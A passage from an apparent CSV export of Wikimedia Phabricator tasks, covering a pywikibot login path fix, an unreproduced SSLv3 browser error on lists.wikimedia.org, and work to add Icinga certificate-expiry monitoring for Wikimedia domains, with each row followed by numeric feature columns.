+Don'tNeedToKnow@Imamadmad /cygdrive/c/core
+$ cd pywikibot
+
+Don'tNeedToKnow@Imamadmad /cygdrive/c/core/pywikibot
+$ ls
+__init__.py    config2.pyc    exceptions.pyc      login.pyc          throttle.py
+__init__.pyc   data           families            page.py            throttle.pyc
+backports.py   date.py        family.py           page.pyc           titletranslate.py
+backports.pyc  diff.py        family.pyc          pagegenerators.py  tools
+bot.py         diff.pyc       fixes.py            plural.py          userinterfaces
+bot.pyc        echo.py        i18n.py             plural.pyc         version
+botirc.py      echo.pyc       i18n.pyc            site.py            version.py
+comms          editor.py      interwiki_graph.py  site.pyc           version.pyc
+compat         epydoc.cfg     logentries.py       textlib.py         weblib.py
+config2.py     exceptions.py  login.py            textlib.pyc        xmlreader.py
+```",Needs Triage,90.0,1430739778,1430760880.0,PHID-USER-wya6ce2cclt5qsvrs7kk,False,PHID-USER-43lnvui4hacyjrc2lflj,False,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_description,resolved,True,c3,1,False,False,True,-9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+453609,Problem with login.py for pywikibot,Tried to divide the two.,,,1430772626,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+453527,Problem with login.py for pywikibot,Well the problem is that this talks about core and compat now.,,,1430767002,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+453432,Problem with login.py for pywikibot,"Clarified in https://www.mediawiki.org/wiki/Manual:Pywikibot/Basic_use#Use
+Please amend if not clear or correct.
+",,,1430760860,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+453265,Problem with login.py for pywikibot,">>! In T97992#1256635, @XZise wrote:
+> Do the following inside of the core directory:
+> 
+>   Don'tNeedToKnow@Imamadmad /cygdrive/c/core
+>   $ python pwb.py login
+> 
+> pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHONPATH`.
+> 
+> **Edit:** It's `PYTHONPATH` not `PYTHON_PATH`, thanks @jayvdb for the reminder.
+
+Thank you so much for the help!  This wasn't made clear in the documentation on mediawiki.org.  Thanks so much for telling me!",,,1430746330,,PHID-USER-wya6ce2cclt5qsvrs7kk,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,False,,,-9,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1
+453251,Problem with login.py for pywikibot,"Do the following inside of the core directory:
+
+  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
+  $ python pwb.py login
+
+pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHONPATH`.
+
+**Edit:** It's `PYTHONPATH` not `PYTHON_PATH`, thanks @jayvdb for the reminder.",,,1430744527,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+453243,Problem with login.py for pywikibot,"Do the following inside of the core directory:
+
+  Don'tNeedToKnow@Imamadmad /cygdrive/c/core
+  $ python pwb.py login
+
+pwb.py does add the core directory to the `PATH` variable so that python sees the pywikibot directory. There are other ways to fix this like adding the core directory (or any directory containing the pywikibot directory) to `PATH` or `PYTHON_PATH`.",,,1430743523,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-xwnp6zkaaxawpffyl3f3,task_subcomment,,True,c3,1,True,,,-9,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+97927,ssl_error_unsupported_version on lists.wikimedia.org,"Firefix 37.0.2
+page of the site does not open
+https://lists.wikimedia.org/pipermail/wikitech-ambassadors/2015-April/001162.html and other from a site lists.wikimedia.org
+
+{F159941}
+""Firefox cannot guarantee the safety of your data on lists.wikimedia.org because it uses SSLv3, a broken security protocol. Advanced info: ssl_error_unsupported_version""
+https://support.mozilla.org/en-US/kb/what-do-sslv3-error-messages-mean-firefox",Needs Triage,90.0,1430645290,1434483497.0,PHID-USER-5joeladhczukimiv4rwl,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-bu3eik7lkxrx6p37ios6,task_description,resolved,True,c3,1,False,False,True,-9,True,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+458039,ssl_error_unsupported_version on lists.wikimedia.org,"Cannot reproduce the problem on https://lists.wikimedia.org/pipermail/wikitech-ambassadors/2015-April/001162.html with Firefox 37.0.2
+
+https://www.ssllabs.com/ssltest/analyze.html?d=list.wikimedia.org says that SSL3 is not supported on lists.wm.o.
+",,,1431501327,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bu3eik7lkxrx6p37ios6,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+114059,ssl expiry tracking in icinga - we don't monitor that many domains,"With the unplanned expiration of a couple of SSL certificates, T112542 was generated.  Since then, we've listed all of the domains we purchased certificates from.
+
+Now we need to decide if we are going to put in icinga checks for all of them, or just some, and how to differentiate.  
+>>! In T112542#1640176, @BBlack wrote:
+> We only have that icinga check on the primary unified cert, which covers the production endpoints for:
+> 
+> - wikipedia.org
+> - mediawiki.org
+> - wikibooks.org
+> - wikidata.org
+> - wikimediafoundation.org
+> - wikimedia.org
+> - wikinews.org
+> - wikiquote.org
+> - wikisource.org
+> - wikiversity.org
+> - wikivoyage.org
+> - wiktionary.org
+> 
+> ... and all of their mobile subdomains and whatnot.  It's a pretty verbose check, validates functional SSL for all of the SAN domains, checks the cert expiry, etc.
+> 
+> But we don't have any kind of checking in place for the various other misc certs we own that are deployed for smaller or one-off services, or deployed to third parties (or in some cases, rare today but important later - not deployed at all but still critical).  Just looking at puppet's files/ssl/ today, that list is something like:
+> 
+> 
+> archiva.wikimedia.org.crt
+> blog.wikimedia.org.crt
+> dumps.wikimedia.org.crt
+> ecc-star.wmfusercontent.org.crt
+> eventdonations.wikimedia.org.crt
+> ganglia.wikimedia.org.crt
+> gerrit.wikimedia.org.crt
+> icinga.wikimedia.org.crt
+> labvirt-star.eqiad.wmnet.crt
+> ldap-codfw.wikimedia.org.crt
+> ldap-eqiad.wikimedia.org.crt
+> ldap-mirror.wikimedia.org.crt
+> librenms.wikimedia.org.crt
+> lists.wikimedia.org.crt
+> policy.wikimedia.org.crt
+> rt.wikimedia.org.crt
+> star.planet.wikimedia.org.crt
+> star.wmflabs.org.crt
+> star.wmfusercontent.org.crt
+> stream.wikimedia.org.crt
+> tendril.wikimedia.org.crt
+> ticket.wikimedia.org.crt
+> toolserver.org.crt
+> virt-star.eqiad.wmnet.crt
+> wikitech.wikimedia.org.crt
+> 
+> 
+> Of those, I can see in our icinga config direct expiry checks only for:
+>
+> lists.wikimedia.org
+> ticket.wikimedia.org
+> ldap-codfw.wikimedia.org
+> ldap-eqiad.wikimedia.org
+>
+
+Additionally: https://docs.google.com/a/wikimedia.org/spreadsheets/d/1yT5rvoEEUHhNeJAQRVamr8ECqN3TLsMaO8N_At4Ki3I/edit?usp=sharing lists all the certificates and expiry info.
+
+We need to determine which of these will get icinga checks.
+",High,80.0,1443482524,1445551708.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-qckzskdoj6qw4aeornnu,task_description,resolved,True,c3,3,True,False,False,12,True,1,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1
+550754,ssl expiry tracking in icinga - we don't monitor that many domains,https://etherpad.wikimedia.org/p/T114059,,,1445551786,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+550753,ssl expiry tracking in icinga - we don't monitor that many domains,All the certs in the original list in the ticket are covered now. The only exception is the special case for labvirtstar. ,,,1445551708,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+550747,ssl expiry tracking in icinga - we don't monitor that many domains,We agreed to split this special case into a non-blocking subtask -> T116332,,,1445551255,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+550439,ssl expiry tracking in icinga - we don't monitor that many domains,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on.
+
+(edit:  labvirt-star is the interesting one, virt-star isn't used in production.)",,,1445526623,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+550404,ssl expiry tracking in icinga - we don't monitor that many domains,"virt-star is used by the nova-compute services to talk to each other, for example when migrating instances from one place to another.  It's almost certainly self-signed.  I'll try to figure out what port you can test it on.",,,1445522253,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+550206,ssl expiry tracking in icinga - we don't monitor that many domains,"@andrew which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl",,,1445476677,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+550204,ssl expiry tracking in icinga - we don't monitor that many domains,"@andrewbogott which service on which port uses the virt-star cert? i see virt100x compute nodes had it, and exist in site.pp but _not in DNS_ and labvirt1001 should have it now but none of the services on thse high ports 59xx ? seem to respond to openssl",,,1445476667,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+550195,ssl expiry tracking in icinga - we don't monitor that many domains,"re: LDAP-mirror:  nothing to monitor here, because Icinga said:
+
+""SSL CRITICAL - failed to connect or SSL handshake:IO::Socket::SSL: connect: Connection refused ""
+
+and puppet code says:
+
+port   => '389', # Yes, explicitly not supporting LDAPS (port 636)
+
+(but we still have the cert for it? oh well)",,,1445473969,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+550193,ssl expiry tracking in icinga - we don't monitor that many domains,"wmfusercontent done:  https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=phab.wmfusercontent.org&service=HTTPS-wmfusercontent
+
+LDAP (corp/OIT) mirror (has issues):
+
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=plutonium&service=SSL-LDAP 
+https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=pollux&service=SSL-LDAP
+
+virt-star: ?",,,1445473513,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0
+550156,ssl expiry tracking in icinga - we don't monitor that many domains,skip ldap-mirror. that should be this https://gerrit.wikimedia.org/r/#/c/247936/1/manifests/role/openldap.pp,,,1445470863,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+550143,ssl expiry tracking in icinga - we don't monitor that many domains,"ok, all done, except these remnants.
+
+can you help me here? what's the status? 
+
+ecc-star.wmfusercontent.org.crt 
+labvirt-star.eqiad.wmnet.crt 
+ldap-mirror.wikimedia.org.crt 
+star.wmfusercontent.org.crt
+virt-star.eqiad.wmnet.crt
+
+@andrew @chasemp @yuvipanda can you tell me if these certs above are actually used and on which FQDN they are expected?",,,1445470110,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0
+550135,ssl expiry tracking in icinga - we don't monitor that many domains,"ok, all done, except these remnants.
+
+can you help me here? what's the status? 
+
+ecc-star.wmfusercontent.org.crt 
+labvirt-star.eqiad.wmnet.crt 
+ldap-mirror.wikimedia.org.crt 
+star.wmfusercontent.org.crt
+virt-star.eqiad.wmnet.crt
+",,,1445469829,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+550134,ssl expiry tracking in icinga - we don't monitor that many domains,"planet: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=1&host=en.planet.wikimedia.org
+labs / tools.wmflabs.org  https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=tools.wmflabs.org&service=HTTPS-wmflabs
+ldap-codfw: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=nembus&service=LDAP-SSL
+ldap-eqiad: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neptunium&service=LDAP-SSL
+",,,1445469703,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+550090,ssl expiry tracking in icinga - we don't monitor that many domains,"policy: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=1&host=policy.wikimedia.org
+blog: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=blog.wikimedia.org&service=HTTPS-blog
+toolserver: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=www.toolserver.org&service=HTTPS-toolserver
+eventdonations: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=eventdonations.wikimedia.org&service=HTTPS-eventdonations  (HOST down due to filtered ICMP?)
+",,,1445465830,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+549998,ssl expiry tracking in icinga - we don't monitor that many domains,"archiva: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=titanium&service=HTTPS
+ganglia: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=uranium&service=HTTPS
+rcstream: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=rcs1001&service=HTTPS",,,1445458696,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+549996,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247905 merged by Dzahn:
+icinga: ssl cert monitoring for external services
+
+[[https://gerrit.wikimedia.org/r/247905]]",,,1445458424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+549980,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247905 had a related patch set uploaded (by Dzahn):
+icinga: ssl cert monitoring for external services
+
+[[https://gerrit.wikimedia.org/r/247905]]
+",,,1445456759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+549422,ssl expiry tracking in icinga - we don't monitor that many domains,"dumps: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=dataset1001&service=HTTPS
+OTRS: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=iodine&service=HTTPS
+lists: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=fermium&service=HTTPS
+icinga: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neon&service=HTTPS
+gerrit: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS
+RT: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=magnesium&service=HTTPS
+planet: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=planet1001&service=HTTPS  (BROKEN, this needs to be on the cp boxes, special case! )
+librenms: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=netmon1001&service=HTTPS",,,1445382346,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+549383,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247744 merged by Dzahn:
+planet: add ssl cert expiry check
+
+[[https://gerrit.wikimedia.org/r/247744]]",,,1445379300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+549381,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247744 had a related patch set uploaded (by Dzahn):
+planet: add ssl cert expiry check
+
+[[https://gerrit.wikimedia.org/r/247744]]
+",,,1445379159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+549373,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244617 merged by Dzahn:
+dumps: add cert expiry check
+
+[[https://gerrit.wikimedia.org/r/244617]]",,,1445378386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+549308,ssl expiry tracking in icinga - we don't monitor that many domains,"progress tracking on etherpad now:
+
